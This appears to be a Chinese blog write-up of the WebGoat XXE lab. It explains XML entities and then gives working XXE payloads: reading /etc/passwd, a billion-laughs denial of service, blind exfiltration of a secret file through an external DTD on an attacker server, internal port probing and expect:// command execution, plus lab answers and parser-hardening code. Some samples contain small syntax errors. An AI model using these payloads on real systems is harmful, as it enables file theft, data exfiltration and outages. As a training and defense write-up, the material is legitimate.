Webgoat --XEE

最新推荐文章于 2024-05-29 07:48:21 发布

原创最新推荐文章于 2024-05-29 07:48:21 发布 · 638 阅读

1 ·

本内容遵循CC 4.0 BY-SA版权协议

webgoat 专栏收录该内容

8 篇文章

订阅专栏

本文介绍了XML的基本概念，如DTD、XSL和XLL，强调了XML用于传输和存储数据的特性。接着，文章详细讨论了XML外部实体注入（XXE）的原理和危害，包括攻击方式如获取服务器文件、执行系统命令和探测内网。还提到了常见的0X04、0X07和0x11等XXE漏洞利用场景。最后，文章提出了防御XXE的方法，如禁用DTD和外部实体，以及过滤特定提交数据。

基础知识

XMl定义
XML由3个部分构成，它们分别是：
文档类型定义（Document Type Definition，DTD），即XML的布局语言；
可扩展的样式语言（Extensible Style Language，XSL），即XML的样式表语言；
可扩展链接语言（Extensible Link Language，XLL）。
XML:可扩展标记语言，是一种用于标记电子文件使其具有结构性的标记语言。
可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计
XML被设计用来传输和存储数据，其焦点是数据的内容。
HTML被设计用来显示数据，其焦点是数据的外观
XML的作用
XML使用元素和属性来描述数据。在数据传送过程中，XML始终保留了诸如父/子关系这样的数据结构。几个应用程序可以共享和解析同一个XML文件，不必使用传统的字符串解析或拆解过程。
引用外部DTD

<!DOCTYPE 根元素 SYSTEM "文件名">
 或
 #SYSTEM标识符意味着该实体将从外部来源获取内容，调用外部资源,而这里是支持很多的协议,如:http;file等
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

外部实体类型有
在这里插入图片描述

CDATA
CDATA 指的是不应由 XML 解析器进行解析的文本数据（Unparsed Character Data）
在 XML 元素中，"<" （新元素的开始）和 “&” （字符实体的开始）是非法的。
某些文本，比如 JavaScript 代码，包含大量 “<” 或 “&” 字符。为了避免错误，可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 “<![CDATA[" 开始，由 "]]>” 结束
xml的实体–参数实体
只有在DTD中才能引用参数实体
该类型的实体用“％”字符（或十六进制编码的％）声明，并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容

<!ENTITY 实体名称 "实体的值">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://evil.com'>">
%param1;
]>
<root>
<test>[This is my site] &internal;</test>
</root>
#先执行%param1; 再执行 &internal;

参数实体在DTD中解析优先级高于xml内部实体
参数实体特性
1）只能在DTD内部
2）立即引用
3）实体嵌套

<?xml version="1.0" encoding="UTF-8"?>  //XML 声明
<!DOCTYPE user [					    //XML文档定义 DTD
  <!ELEMENT user(name,age) >	
  <!ELEMENT name (#PCDATA)>		       //XML 约束
  <!ELEMENT age (#PCDATA)>		       
  <!ENTITY name "Jo Smith">			   //XML实体
  <!ELEMENT age "20" >		       
]>
<user>								//XML文档
  <name>&name;</name>				//xml 实体引用
  <age>&age;</age>
</user>

XEE
XML外部实体注入。通过 XML 实体，”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值，是处理程序解析它。当引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
攻击方式
SYSTEM 获取服务器目录或文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
  <!ENTITY js SYSTEM "file:///etc/passwd">
]>
<author>&js;</author>

更改内容类型绕过

Content-Type: application/xml			#更改内容类型
<?xml version="1.0" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>

拒绝服务攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

盲注–在数据无回显时可以使用盲注方式将数据发送到远程攻击服务器
通过在执行自己的服务器上外部XML，判断是否执行了XEE
可使用该网站接受信息 http://ceye.io/payloads

#本地服务器保存 名为attack.dtd 的XML文件
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://192.168.80.2:9090/landing'>

#修改提交XML表单
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.80.2:9090/WebWolf/files/attack.dtd">
%remote;
]>
<comment>
  <text>test&ping;</text>
</comment>

探测内网地址

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.100:80">]> #探测80是否开放
<root>
<name>&xxe;</name>
</root>
#在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>
#这里读取系统命令ifconfig读取ip

基于错误的XXE注入

#本地服务器保存 名为attack.dtd 的XML文件
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY %file SYSTEM 'file:///etc/passwd'>
<!ENTITY %print "<!ENTITY send SYSTEM 'http://vulSite/login1.php?name=%file;'>">
#提交错误URI
%print;

#修改提交XML表单
<?xml version="1.0"?>
<!DOCTYPE remote SYSTEM "http://192.168.80.2:9090/WebWolf/files/attack.dtd">
<comment>
  <text>&send;</text>
</comment>

0X04

<?xml version="1.0"?>
<!DOCTYPE comment [<!ENTITY js SYSTEM "file:///">]>
<comment>  <text>&js;</text></comment>

0X07

POST /WebGoat/xxe/content-type HTTP/1.1
Host: 192.168.80.2:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.2:8080/WebGoat/start.mvc
Content-Type: application/xml			#更改内容类型
X-Requested-With: XMLHttpRequest
Content-Length: 111
Connection: close
Cookie: JSESSIONID=0_-c6R_tWhZZx_1BDBiIpyxlcevotPdZ7ixfAYq7


<?xml version="1.0" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>

0x11

#保存为a.dtd 上传webwolf上
<!ENTITY % a  "<!ENTITY attack SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
#更改提交的表单内容
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.1.0//XXE/secret.txt">
<!ENTITY % remote SYSTEM "http://192.168.80.2:9090/files/passaa/a.dtd">
%remote;
%a;
]>
<comment><text>&pass;</text></comment>

在这里插入图片描述
url解码得到 WebGoat 8.0 rocks… (CEsixJDQUy) 提交结果

防御方法

设置XML解析器禁用DTD

XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

设置XML解析器禁用外部实体

#.PHP：
libxml_disable_entity_loader(true);
#.JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
#.Python：
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))